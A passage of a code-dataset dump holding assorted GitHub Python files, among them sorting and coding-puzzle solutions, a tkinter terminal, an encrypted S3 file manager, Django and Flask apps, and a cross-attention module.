to_bin[self.interleaver[i]]\n\n for b in range(len(to_bin)):\n output[-1] += to_bin[b]\n output[-1] += str(rsc1.push(int(to_bin[b])))\n output[-1] += str(rsc2.push(int(to_bin_i[b])))\n\n terminated_rsc_1 = [rsc1.terminate() for _ in range(2)]\n terminated_rsc_2 = [rsc2.terminate() for _ in range(2)]\n\n\n output[-1] += \"\".join([ f'{x}{x}{y}' for x,y in zip(terminated_rsc_1,terminated_rsc_2)])\n\n return \"\".join(output)\n\n\nif __name__ == '__main__':\n s = 'T'\n x = TurboCodeCoder([0,1,2,3,4,5,6]).encode_string(s)\n print(x)\n","repo_name":"darijan2002/tidk-sim","sub_path":"TurboCodeCoder.py","file_name":"TurboCodeCoder.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10756281575","text":"from utils import test\n\n\ndef merge(left_ls, right_ls):\n result = []\n\n # 把比較小的 pop 出來,放入 result 陣列,直到左右陣列有一邊為空\n while len(left_ls) and len(right_ls):\n if left_ls[0] < right_ls[0]:\n result.append(left_ls.pop(0))\n else:\n result.append(right_ls.pop(0))\n\n # while 迴圈結束,表示左右陣列其中一個為空,因此左右判斷 concat 哪邊\n return result + left_ls if len(left_ls) else result + right_ls\n\n\ndef sort(inp):\n if len(inp) < 2:\n return inp\n\n size = len(inp)\n mid = size // 2\n\n left_ls = inp[:mid]\n right_ls = inp[mid:]\n\n # 遞迴呼叫\n return merge(sort(left_ls), sort(right_ls))\n\n\nif __name__ == '__main__':\n inp = [89, 34, 23, 78, 67, 100, 66, 29, 79, 55, 78, 88, 92, 96, 96, 23]\n gt = [23, 23, 29, 34, 55, 66, 67, 78, 78, 79, 88, 89, 92, 96, 96, 100]\n\n print('inp:', inp)\n out = sort(inp)\n\n print('out:', out)\n test(out, gt)","repo_name":"conflick0/DSA","sub_path":"sort/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"623344780","text":"import tkinter as tk\nimport subprocess\nimport queue\nimport os\nfrom threading import Thread\n\nclass Terminal:\n def __init__(self, master, text_widget):\n self.master = master\n self.text_widget = text_widget\n\n # get the path to the console.py file assuming it is in the same folder\n consolePath = os.path.join(os.path.dirname(__file__),\"interactiveConsole.py\")\n # open the interactiveConsole.py file (replace the path to python with the \n # correct one for your system)\n self.proc = subprocess.Popen([\"python3\",consolePath],\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE)\n\n # make queues for keeping stdout and stderr whilst it is transferred between threads\n self.outQueue = queue.Queue()\n self.errQueue = queue.Queue()\n\n # keep track of where any line that is submitted starts\n self.line_start = 0\n\n # a daemon to keep track of the threads so they can stop running\n self.alive = True\n\n # start the functions that get stdout and stderr in separate threads\n Thread(target=self.readFromProccessOut).start()\n Thread(target=self.readFromProccessErr).start()\n\n def destroy(self):\n \"This is the function that is automatically called when the widget is destroyed.\"\n # write exit() to the console in order to stop it running\n self.proc.stdin.write(\"exit()\\n\".encode())\n self.proc.stdin.flush()\n self.master.destroy()\n\n def enter(self,event=None):\n \"The <Return> key press handler\"\n string = self.text_widget.get(1.0, tk.END)[self.line_start:]\n self.line_start+=len(string)\n self.proc.stdin.write(string.encode())\n self.proc.stdin.flush()\n\n def readFromProccessOut(self):\n \"To be executed in a separate thread to make read non-blocking\"\n while self.alive:\n data = self.proc.stdout.raw.read(1024).decode()\n self.outQueue.put(data)\n\n def readFromProccessErr(self):\n \"To be executed in a separate thread to make read non-blocking\"\n while self.alive:\n data = self.proc.stderr.raw.read(1024).decode()\n self.errQueue.put(data)\n\n def writeLoop(self):\n \"Used to write data from stdout and stderr to the Text widget\"\n # if there is anything to write from stdout or stderr, then write it\n if not self.errQueue.empty():\n self.write(self.errQueue.get())\n if not self.outQueue.empty():\n self.write(self.outQueue.get())\n\n # run this method again after 10ms\n if self.alive:\n self.text_widget.after(10,self.writeLoop)\n\n def write(self,string):\n self.text_widget.insert(tk.END, string)\n self.text_widget.see(tk.END)\n self.line_start+=len(string)\n","repo_name":"osdipanda/kianda","sub_path":"src/editor/grafico/terminal.py","file_name":"terminal.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"37059636756","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 9 11:53:36 2022\n\n@author: Sascha\n\"\"\"\n\n# Daily Coding Problem #45 (Two Sigma)\n\n# Using a function rand5() that returns an integer from 1 to 5 (inclusive) \n# with uniform probability, implement a function rand7() that returns an \n# integer from 1 to 7 (inclusive).\n\nimport random \nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef rand5():\n return random.randint(1,5)\n\n# first try\n# something with z-transformation\n# does not work out, since there are still only 5 possibly achievable numbers\n\ndef rand7():\n number = rand5()\n array5 = list(range(1,5+1))\n z = (number - np.mean(array5)) / np.std(array5)\n \n array7 = list(range(1,7+1))\n new_rnd = z * np.std(array7) + np.mean(array7)\n \n return new_rnd\n\n# second try\n# still does not achieve uniform distribution, because the chance for e.g. a\n# 7 is only at 1/5 * 1/14, for a 6 only at 1/5 * 1/7\n\ndef rand7_2():\n number = rand5()\n \n random_number = random.random()\n if random_number < 1 / 7 / 2:\n number += 2\n elif random_number < 1 / 7:\n number += 1\n \n return number\n\n# third try\ndef rand7_3():\n number = rand5()\n \n random_number = random.random()\n if random_number < 1/7:\n number = 6\n elif random_number > 6/7:\n number = 7\n\n return number\n\n# check\nnumbers = [0] * 7000\n\nfor i in range(1,len(numbers)):\n numbers[i] = rand7_3()\n \nplt.hist(numbers)\n ","repo_name":"sbrehl/daily-coding-problem-python","sub_path":"daily_coding_problem45.py","file_name":"daily_coding_problem45.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9084021500","text":"from ConfigParser import (SafeConfigParser,\n NoSectionError,\n NoOptionError)\nfrom nettest.exceptions import ConfigReadError\n\nclass NettestConfig(SafeConfigParser):\n def get(self, full_name, default=None):\n \"\"\"Get option from config.\n \n :param full_name: string in format \"section_name.option_name\"\n \"\"\"\n section, option = full_name.split('.')\n try:\n result = SafeConfigParser.get(self, section, option)\n except NoSectionError:\n if default is not None:\n return default\n raise ConfigReadError(\n 'Error reading %s from config. Section %s not found.' % (\n full_name, section))\n except NoOptionError:\n if default is not None:\n return default\n raise ConfigReadError(\n 'Error reading %s from config. Option %s not found.' % (\n full_name, option))\n return result\n\n def getint(self, full_name, default=None):\n assert default is None or isinstance(default, int)\n result = self.get(full_name, default)\n try:\n result = int(result)\n except (ValueError, TypeError):\n raise ConfigReadError(\n 'Error reading %s from config. '\n 'Integer expected, found %s',\n full_name, repr(result))\n return result\n\n","repo_name":"metasov/nettest","sub_path":"nettest/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37990406470","text":"# -*- coding: utf_8 -*-\n\nlbs_CasterCondition = {\n\t1 : \"普通地圖\",\n\t3 : \"城市爭奪戰場\",\n\t4 : \"家族擂臺賽戰場\",\n\t5 : \"幫會領地\",\n\n\t10 : \"裝備武器\",\n\t11 : \"盾\",\n\n\t}\n\nlbs_RequireDefine = {\n\t1 : \"法力消耗:%i\",\n\t}\n\nlbs_Spell_LivingSkill = {\n\t1 : \"採集技能\",\n\t}\n\nlbs_Spell_PlayerTeleport = {\n\t1 : \"未找到信息。\",\n\t}\n","repo_name":"mudsave/csol2_enities_45541","sub_path":"locale_big5/config/client/labels/skills.py","file_name":"skills.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38311592418","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom jinja2 import Environment, FileSystemLoader\nfrom torchvision.transforms import ToTensor, Resize, Compose\nimport matplotlib.pyplot as plt\n\nNUM_TO_CHECK = 1\n\nsize = (14,14)\n\ntransform = Compose([Resize(size), ToTensor()])\n\n\ntest_data = datasets.MNIST(\n root=\"data\",\n train=False,\n download=True,\n transform=transform,\n)\n\nbatch_size = 1\n\ntest_dataloader = DataLoader(test_data, batch_size=batch_size)\n\nfor X, y in test_dataloader:\n print(f\"Shape of X [N, C, H, W]: {X.shape} {X.dtype}\")\n print(f\"Shape of y: {y.shape} {y.dtype} {y}\")\n\n if y[0] == NUM_TO_CHECK:\n break\n\ntest_img = X[0][0]\n\n\ndef print_test_img(img):\n rows, cols = 1, 1\n fig, axs = plt.subplots(rows, cols, figsize=(4, 4))\n axs.imshow(-img, cmap=\"gray\")\n axs.axis(\"off\")\n plt.show()\n\n\n# print_test_img(test_img)\n\n\ndef make_fixed_precision(img):\n return (img.numpy() * 10**8).astype(int)\n\n\nfixed_precision = make_fixed_precision(test_img)\n\nprint(fixed_precision.shape)\n\n\nenv = Environment(loader=FileSystemLoader(\".\"))\ntemplate = env.get_template(\"run.sh.j2\")\nrendered = template.render(args=fixed_precision, output=y.numpy()[0])\n\noutput_file = \"../zokrates/run.sh\"\n\nwith open(output_file, \"w\") as f:\n f.write(rendered)\n\nprint(f\"Rendered run script saved to {output_file}\")\n","repo_name":"berendjan/zk-neural-network","sub_path":"python/generate_run_script.py","file_name":"generate_run_script.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"20501893279","text":"# @Date : 12:21 10/07/2020\n# @Author : ClassicalPi\n# @FileName: 268.py\n# @Software: PyCharm\n\nclass Solution:\n def missingNumber(self, nums: [int]) -> int:\n if not nums:\n return 0\n nums_set=set(nums)\n for i in range(len(nums)):\n if i not in nums_set:\n return i\n return len(nums)\n\nif __name__ == '__main__':\n S=Solution()\n print(S.missingNumber([1]))","repo_name":"GuoYunZheSE/Leetcode","sub_path":"Easy/268/268.py","file_name":"268.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"3162750514","text":"# Import necessary modules\nimport tkinter as tk\nfrom tkinter import filedialog, messagebox, Listbox, Scrollbar\nimport boto3\nfrom cryptography.fernet import Fernet\nfrom botocore.exceptions import NoCredentialsError\n\n\n# Jinxin Hu\n# Function to generate and save an encryption key\ndef generate_key():\n \"\"\"Generate a key and save it into a file\"\"\"\n key = Fernet.generate_key()\n with open(\"secret.key\", \"wb\") as key_file:\n key_file.write(key)\n return key.decode()\n\n\n# Jinxin Hu\n# Function to show generated key\ndef show_generated_key():\n generated_key = generate_key()\n messagebox.showinfo(\"Generated Key\", f\"Your generated key is:\\n{generated_key}\")\n\n\n# Jinxin Hu\n# Function to load a previously generated key\ndef load_key():\n \"\"\"Load the previously generated key\"\"\"\n return open(\"secret.key\", \"rb\").read()\n\n\n# Jinxin Hu\n# Function to encrypt a file using a provided key\ndef encrypt(filename, key):\n \"\"\"Encrypt the file using the provided key\"\"\"\n f = Fernet(key)\n with open(filename, \"rb\") as file:\n file_data = file.read()\n encrypted_data = f.encrypt(file_data)\n with open(filename, \"wb\") as file:\n file.write(encrypted_data)\n\n\n# Jinxin Hu\n# Function to decrypt a file using a provided key\ndef decrypt(filename, key):\n \"\"\"Decrypt the file using the provided key\"\"\"\n f = Fernet(key)\n with open(filename, \"rb\") as file:\n encrypted_data = file.read()\n decrypted_data = f.decrypt(encrypted_data)\n with open(filename, \"wb\") as file:\n file.write(decrypted_data)\n\n\n# Siting Tang\n# Function to get a list of files from an S3 bucket\ndef get_s3_files(bucket, access_key, secret_key, region):\n s3 = boto3.client(\n \"s3\",\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_key,\n region_name=region,\n )\n try:\n response = s3.list_objects_v2(Bucket=bucket)\n if \"Contents\" in response:\n return [item[\"Key\"] for item in response[\"Contents\"]]\n else:\n return []\n except Exception as e:\n messagebox.showerror(\"Error\", f\"An error occurred: {e}\")\n return []\n\n\n# Chang Yu\n# Function to download a file from S3 and decrypt it\ndef download_from_s3(access_key, secret_key, region, bucket, file_key, download_path):\n s3 = boto3.client(\n \"s3\",\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_key,\n region_name=region,\n )\n try:\n s3.download_file(bucket, file_key, download_path)\n key = load_key()\n decrypt(download_path, key)\n return \"Download and decryption successful\"\n except FileNotFoundError:\n return \"The specified file was not found\"\n except NoCredentialsError:\n return \"Credentials not available\"\n\n\n# Siting Tang\n# Function to refresh the file list in the download frame\ndef refresh_file_list():\n bucket = aws_bucket_entry_download.get()\n access_key = aws_access_key_entry_download.get()\n secret_key = aws_secret_key_entry_download.get()\n region = aws_region_entry_download.get()\n\n files = get_s3_files(bucket, access_key, secret_key, region)\n file_list.delete(0, tk.END)\n for file in files:\n file_list.insert(tk.END, file)\n\n\n# Chang Yu\n# Function to download the selected file\ndef download_selected_file():\n selected_file = file_list.get(tk.ANCHOR)\n if selected_file:\n # 让用户选择文件下载到哪里\n save_path = filedialog.asksaveasfilename(\n defaultextension=\".txt\", filetypes=[(\"All files\", \"*.*\")]\n )\n if save_path:\n access_key = aws_access_key_entry_download.get()\n secret_key = aws_secret_key_entry_download.get()\n region = aws_region_entry_download.get()\n bucket = aws_bucket_entry_download.get()\n user_key = user_key_entry_download.get() # 获取用户提供的密钥\n\n result = download_from_s3(\n access_key, secret_key, region, bucket, selected_file, save_path\n )\n try:\n decrypt(save_path, user_key.encode()) # 使用用户密钥解密文件\n messagebox.showinfo(\"Result\", \"Download and decryption successful\")\n except Exception as e:\n messagebox.showerror(\"Error\", f\"Decryption failed: {str(e)}\")\n else:\n messagebox.showerror(\"Error\", \"No save path selected\")\n else:\n messagebox.showerror(\"Error\", \"No file selected or missing S3 information\")\n\n\n# Siting Tang\n# Function to upload a file to S3\ndef upload_to_s3(access_key, secret_key, region, bucket, file_path):\n s3 = boto3.client(\n \"s3\",\n aws_access_key_id=access_key,\n aws_secret_access_key=secret_key,\n region_name=region,\n )\n try:\n key = load_key()\n encrypt(file_path, key)\n filename = file_path.split(\"/\")[-1]\n s3.upload_file(file_path, bucket, filename)\n # Optionally, decrypt after upload for local use\n decrypt(file_path, key)\n return \"Upload Successful\"\n except FileNotFoundError:\n return \"The specified file was not found\"\n except NoCredentialsError:\n return \"Credentials not available\"\n\n\n# Siting Tang\n# Function to select a file for upload\ndef select_file_to_upload():\n file_path = filedialog.askopenfilename()\n file_path_label.config(text=\"Selected: \" + file_path)\n\n\n# Siting Tang\n# Function to submit the file upload to S3\ndef submit_upload_to_s3():\n file_path = file_path_label.cget(\"text\").replace(\"Selected: \", \"\")\n if file_path and file_path != \"No file selected\":\n access_key = aws_access_key_entry.get()\n secret_key = aws_secret_key_entry.get()\n region = aws_region_entry.get()\n bucket = aws_bucket_entry.get()\n user_key = user_key_entry.get() # 获取用户提供的密钥\n\n encrypt(file_path, user_key.encode()) # 使用用户密钥加密文件\n result = upload_to_s3(access_key, secret_key, region, bucket, file_path)\n messagebox.showinfo(\"Result\", result)\n decrypt(file_path, user_key.encode()) # 完成后解密文件(可选)\n else:\n messagebox.showerror(\"Error\", \"No file selected or missing information\")\n\n\n# Jinxin Hu\n# Function to switch between frames\ndef show_frame(frame):\n frame.tkraise()\n\n\n# Create the main Tkinter window\nroot = tk.Tk()\nroot.title(\"S3 File Manager\")\n\n# Define frame\nwindow_width = 600\nwindow_height = 400\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\ncenter_x = int(screen_width / 2 - window_width / 2)\ncenter_y = int(screen_height / 2 - window_height / 2)\nroot.geometry(f\"{window_width}x{window_height}+{center_x}+{center_y}\")\n\n# Create main, upload, and download frames\nmain_frame = tk.Frame(root)\nupload_frame = tk.Frame(root)\ndownload_frame = tk.Frame(root)\n\n# Grid layout for frames\nfor frame in (main_frame, upload_frame, download_frame):\n frame.grid(row=0, column=0, sticky=\"nsew\")\n\n# Jinxin Hu\n# Home Page\nmain_label = tk.Label(main_frame, text=\"Select an Option\")\nmain_label.pack(pady=10)\nupload_button = tk.Button(\n main_frame, text=\"Upload File\", command=lambda: show_frame(upload_frame)\n)\nupload_button.pack()\ndownload_button = tk.Button(\n main_frame, text=\"Download File\", command=lambda: show_frame(download_frame)\n)\ndownload_button.pack()\n\n# Siting Tang\n# Upload Page\nupload_label = tk.Label(upload_frame, text=\"Upload Page\")\nupload_label.pack(pady=10)\n\n# AWS Credentials\naws_access_key_label = tk.Label(upload_frame, text=\"AWS Access Key ID\")\naws_access_key_label.pack()\naws_access_key_entry = tk.Entry(upload_frame)\naws_access_key_entry.pack()\n\naws_secret_key_label = tk.Label(upload_frame, text=\"AWS Secret Access Key\")\naws_secret_key_label.pack()\naws_secret_key_entry = tk.Entry(upload_frame, show=\"*\")\naws_secret_key_entry.pack()\n\naws_region_label = tk.Label(upload_frame, text=\"Region Name\")\naws_region_label.pack()\naws_region_entry = tk.Entry(upload_frame)\naws_region_entry.pack()\n\naws_bucket_label = tk.Label(upload_frame, text=\"Bucket Name\")\naws_bucket_label.pack()\naws_bucket_entry = tk.Entry(upload_frame)\naws_bucket_entry.pack()\n\nfile_path_label = tk.Label(upload_frame, text=\"No file selected\")\nfile_path_label.pack()\n\nselect_file_button = tk.Button(\n upload_frame, text=\"Select File\", command=select_file_to_upload\n)\nselect_file_button.pack()\n\ngenerate_key_button = tk.Button(\n upload_frame, text=\"Generate Encryption Key\", command=show_generated_key\n)\ngenerate_key_button.pack()\n\n\nuser_key_label = tk.Label(upload_frame, text=\"Encryption Key\")\nuser_key_label.pack()\nuser_key_entry = tk.Entry(upload_frame, show=\"*\")\nuser_key_entry.pack()\n\nupload_button = tk.Button(upload_frame, text=\"Upload File\", command=submit_upload_to_s3)\nupload_button.pack()\n\n\nback_button_upload = tk.Button(\n upload_frame, text=\"Back to Main Menu\", command=lambda: show_frame(main_frame)\n)\nback_button_upload.pack()\n\n# Chang Yu\n# Download Page\ndownload_label = tk.Label(download_frame, text=\"Download Page\")\ndownload_label.pack(pady=10)\n# Download Function\n\naws_access_key_label_download = tk.Label(download_frame, text=\"AWS Access Key ID\")\naws_access_key_label_download.pack()\naws_access_key_entry_download = tk.Entry(download_frame)\naws_access_key_entry_download.pack()\n\naws_secret_key_label_download = tk.Label(download_frame, text=\"AWS Secret Access Key\")\naws_secret_key_label_download.pack()\naws_secret_key_entry_download = tk.Entry(download_frame, show=\"*\")\naws_secret_key_entry_download.pack()\n\naws_region_label_download = tk.Label(download_frame, text=\"Region Name\")\naws_region_label_download.pack()\naws_region_entry_download = tk.Entry(download_frame)\naws_region_entry_download.pack()\n\naws_bucket_label_download = tk.Label(download_frame, text=\"Bucket Name\")\naws_bucket_label_download.pack()\naws_bucket_entry_download = tk.Entry(download_frame)\naws_bucket_entry_download.pack()\n\nfile_list = Listbox(download_frame)\nfile_list.pack(fill=tk.BOTH, expand=True)\n\nrefresh_button = tk.Button(\n download_frame, text=\"Refresh File List\", command=refresh_file_list\n)\nrefresh_button.pack()\n\nuser_key_label_download = tk.Label(download_frame, text=\"Decryption Key\")\nuser_key_label_download.pack()\nuser_key_entry_download = tk.Entry(download_frame, show=\"*\")\nuser_key_entry_download.pack()\n\ndownload_button = tk.Button(\n download_frame, text=\"Download Selected File\", command=download_selected_file\n)\ndownload_button.pack()\n\nback_button_download = tk.Button(\n download_frame, text=\"Back to Main Menu\", command=lambda: show_frame(main_frame)\n)\nback_button_download.pack()\n\nshow_frame(main_frame)\nroot.mainloop()\n","repo_name":"hujinxinchengdu/Encrypted_APP","sub_path":"encrypted_upload_app.py","file_name":"encrypted_upload_app.py","file_ext":"py","file_size_in_byte":10630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26348067518","text":"from flask import Flask, jsonify\nimport subprocess\nimport sys\n\napp = Flask(__name__)\n\n@app.route('/pronoun_counter', methods=['GET'])\ndef count_pronouns():\n print(\"Counting pronouns...\")\n data = subprocess.check_output([\"python3\",\"run_task.py\"])\n return data\n \nif __name__== '__main__':\n app.run(host='0.0.0.0', debug=True)","repo_name":"lovvvan/TPCaaS","sub_path":"app/pronoun_counter.py","file_name":"pronoun_counter.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74025421019","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = \"http://www.marca.com\"\nr = requests.get(url)\nr_html = r.text\n\nsoup = BeautifulSoup(r_html, \"html.parser\")\ntitles = soup.find_all(class_=[\"mod-title\",\"flex-article__heading\",\"block-list__item\"])\nfor title in titles:\n print(\"* \" + title.a.get_text().strip())\n","repo_name":"fped07201/python_exercises","sub_path":"Ex_17/decode_web_page.py","file_name":"decode_web_page.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33819747030","text":"from django.shortcuts import render, redirect\nfrom .models import List\nfrom .form import ListForm\nfrom django.contrib import messages\nfrom django.http.response import HttpResponseRedirect\n\n\ndef home(request):\n if request.method == 'POST':\n form = ListForm(request.POST or None)\n \n if form.is_valid():\n form.save()\n all_items = List.objects.all\n messages.success(request,('text added'))\n return render(request,'home.html',{'all_items':all_items})\n\n else:\n all_items = List.objects.all\n return render(request,'home.html',{'all_items':all_items})\n return HttpResponseRedirect(request,'home.html',{'all_items':all_items})\n \n\ndef delete(request,list_id):\n item = List.objects.get(pk=list_id)\n item.delete()\n messages.success(request,('note deleted'))\n return redirect('home')\n","repo_name":"Deepak123bharat/noteTakingAppUsingDjango","sub_path":"notes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"18710829339","text":"from guild import filter as filterlib\nfrom guild import index as indexlib\nfrom guild import var\n\n\nclass _FilterRun:\n def __init__(self, run, index):\n self._run = run\n self._index = index\n self._scalars = None\n\n def get_attr(self, name):\n return self._index.run_attr(self._run, name)\n\n def get_flag(self, name):\n return self._index.run_flag(self._run, name)\n\n def get_scalar(self, key):\n return _find_scalar(key, self._ensure_scalars())\n\n def _ensure_scalars(self):\n if self._scalars is None:\n self._scalars = list(self._index.run_scalars(self._run))\n return self._scalars\n\n\ndef _find_scalar(key, scalars):\n prefix, tag = _split_scalar_key(key)\n for entry in scalars:\n if (not prefix or prefix == entry[\"prefix\"]) and tag == entry[\"tag\"]:\n return entry\n return None\n\n\ndef _split_scalar_key(key):\n parts = key.split(\"#\", 1)\n if len(parts) == 2:\n return parts\n return None, parts[0]\n\n\ndef filtered_runs(\n filter,\n root=None,\n sort=None,\n base_filter=None,\n force_root=False,\n index=None,\n base_runs=None,\n):\n runs = var.runs(\n root=root,\n sort=sort,\n filter=base_filter,\n force_root=force_root,\n base_runs=base_runs,\n )\n if not filter:\n return runs\n if isinstance(filter, str):\n filter = filterlib.parser().parse(filter)\n index = index or indexlib.RunIndex()\n index.refresh(runs, _index_refresh_types(filter))\n return [run for run in runs if _filter_run(filter, run, index)]\n\n\ndef _index_refresh_types(filter):\n \"\"\"Refresh types are provided by an optional `index_refresh_types` attribute.\"\"\"\n return getattr(filter, \"index_refresh_types\", None)\n\n\ndef _filter_run(f, run, index):\n return f(_FilterRun(run, index))\n","repo_name":"guildai/guildai","sub_path":"guild/filter_util.py","file_name":"filter_util.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":832,"dataset":"github-code","pt":"69"} +{"seq_id":"35281573659","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nfrom typing import List\nfrom .model import Note\n# firebase_admin.initialize_app()\n\nif not firebase_admin._apps:\n j =\"tejunproject-firebase-adminsdk-urm6y-36c021e98d.json\"\n cred = credentials.Certificate(j)\n firebase_admin.initialize_app(cred)\n\n\ndb = firestore.client()\nref = db.collection(u'notes')\n\nasync def getNotes()->List:\n docs = ref.stream()\n list = []\n for doc in docs:\n list.append(doc.to_dict())\n return list\n\ndef addNotes(notes:List[Note])->List[Note]:\n for note in notes:\n note_ = {\"karuteNo\":note.karuteNo, \n \"note\":note.note if note.note != None else '',\n \"name\":note.name if note.name != None else '',\n \"kana\":note.kana if note.kana != None else '',\n \"gender\":note.gender if note.gender != None else '',\n \"nengo\":note.nengo if note.nengo != None else '',\n \"birthYear\":note.birthYear if note.birthYear != None else '',\n \"birthMonth\":note.birthMonth if note.birthMonth != None else '',\n \"birthDay\":note.birthDay if note.birthDay != None else '',\n \"address1\":note.address1 if note.address1 != None else '',\n \"address2\":note.address2 if note.address2 != None else '',\n \"tel\":note.tel if note.tel != None else '',\n \"zipcode\":note.zipcode if note.zipcode != None else '',\n }\n ref.document(note.karuteNo).set(note_)\n return notes\n","repo_name":"torukino/note-python","sub_path":"server/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21222888600","text":"def rows(f):\n for line in f:\n if line.rstrip():\n yield [int(word) for word in line.split()]\n\n\ndef rowdiff(rows):\n for row in rows:\n yield max(row) - min(row)\n\n\ndef rowdivisor(rows):\n for row in rows:\n maxdiv = 1 # trivial result\n for a in row:\n for b in row:\n if a % b == 0:\n maxdiv = max(maxdiv, a // b)\n elif b % a == 0:\n maxdiv == max(maxdiv, b // a)\n yield maxdiv\n\n\n# part 1\nwith open(\"02.input\") as f:\n print(sum(rowdiff(rows(f))))\n\n# part 2\nwith open(\"02.input\") as f:\n print(sum(rowdivisor(rows(f))))\n","repo_name":"jherland/AdventOfCode2017","sub_path":"02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18872654425","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as nnf\nfrom torch.amp import autocast\nfrom torch import einsum\n\nfrom einops import rearrange\n\nimport open_clip\n\nfrom transformers import GPT2LMHeadModel, AutoTokenizer\n\nfrom typing import Optional\n\nimport math\n\ndef exists(val):\n return val is not None\n\n\ndef default(val, d):\n return val if exists(val) else d\n\n\ndef stable_softmax(t, dim=-1):\n t = t - t.amax(dim=dim, keepdim=True)\n return t.softmax(dim=dim)\n\n\ndef scaled_dot_product(q, k, v, mask=None):\n d_k = q.size()[-1]\n attn_logits = torch.matmul(q, k.transpose(-2, -1))\n attn_logits = attn_logits / math.sqrt(d_k)\n if mask is not None:\n attn_logits = attn_logits.masked_fill(mask == 0, -9e15)\n attention = nnf.softmax(attn_logits, dim=-1)\n values = torch.matmul(attention, v)\n return values, attention\n\n\ndef expand_mask(mask):\n assert mask.ndim > 2, \"Mask must be at least 2-dimensional with seq_length x seq_length\"\n if mask.ndim == 3:\n mask = mask.unsqueeze(1)\n while mask.ndim < 4:\n mask = mask.unsqueeze(0)\n return mask\n\n\nclass BidirectionalCrossAttention(nn.Module):\n def __init__(\n self,\n *,\n dim,\n heads=8,\n dim_head=64,\n context_dim=None,\n dropout=0.,\n talking_heads=False,\n prenorm=False,\n ):\n super().__init__()\n context_dim = default(context_dim, dim)\n self.norm = nn.LayerNorm(dim) if prenorm else nn.Identity()\n self.context_norm = nn.LayerNorm(context_dim) if prenorm else nn.Identity()\n self.heads = heads\n self.scale = dim_head ** -0.5\n inner_dim = dim_head * heads\n self.dropout = nn.Dropout(dropout)\n self.context_dropout = nn.Dropout(dropout)\n self.to_qk = nn.Linear(dim, inner_dim, bias=False)\n self.context_to_qk = nn.Linear(context_dim, inner_dim, bias=False)\n self.to_v = nn.Linear(dim, inner_dim, bias=False)\n self.context_to_v = nn.Linear(context_dim, inner_dim, bias=False)\n self.to_out = nn.Linear(inner_dim, dim)\n self.context_to_out = nn.Linear(inner_dim, context_dim)\n self.talking_heads = nn.Conv2d(heads, heads, 1, bias=False) if talking_heads else nn.Identity()\n self.context_talking_heads = nn.Conv2d(heads, heads, 1, bias=False) if talking_heads else nn.Identity()\n\n def forward(\n self,\n x,\n context,\n mask=None,\n context_mask=None,\n return_attn=False,\n rel_pos_bias=None\n ):\n b, i, j, h, device = x.shape[0], x.shape[-2], context.shape[-2], self.heads, x.device\n x = self.norm(x)\n context = self.context_norm(context)\n qk, v = self.to_qk(x), self.to_v(x)\n context_qk, context_v = self.context_to_qk(context), self.context_to_v(context)\n qk, context_qk, v, context_v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h=h),\n (qk, context_qk, v, context_v))\n sim = einsum('b h i d, b h j d -> b h i j', qk, context_qk) * self.scale\n if exists(rel_pos_bias):\n sim = sim + rel_pos_bias\n if exists(mask) or exists(context_mask):\n mask = default(mask, torch.ones((b, i), device=device, dtype=torch.bool))\n context_mask = default(context_mask, torch.ones((b, j), device=device, dtype=torch.bool))\n attn_mask = rearrange(mask, 'b i -> b 1 i 1') * rearrange(context_mask, 'b j -> b 1 1 j')\n sim = sim.masked_fill(~attn_mask, -torch.finfo(sim.dtype).max)\n attn = stable_softmax(sim, dim=-1)\n context_attn = stable_softmax(sim, dim=-2)\n attn = self.dropout(attn)\n context_attn = self.context_dropout(context_attn)\n attn = self.talking_heads(attn)\n context_attn = self.context_talking_heads(context_attn)\n out = einsum('b h i j, b h j d -> b h i d', attn, context_v)\n context_out = einsum('b h j i, b h j d -> b h i d', context_attn, v)\n out, 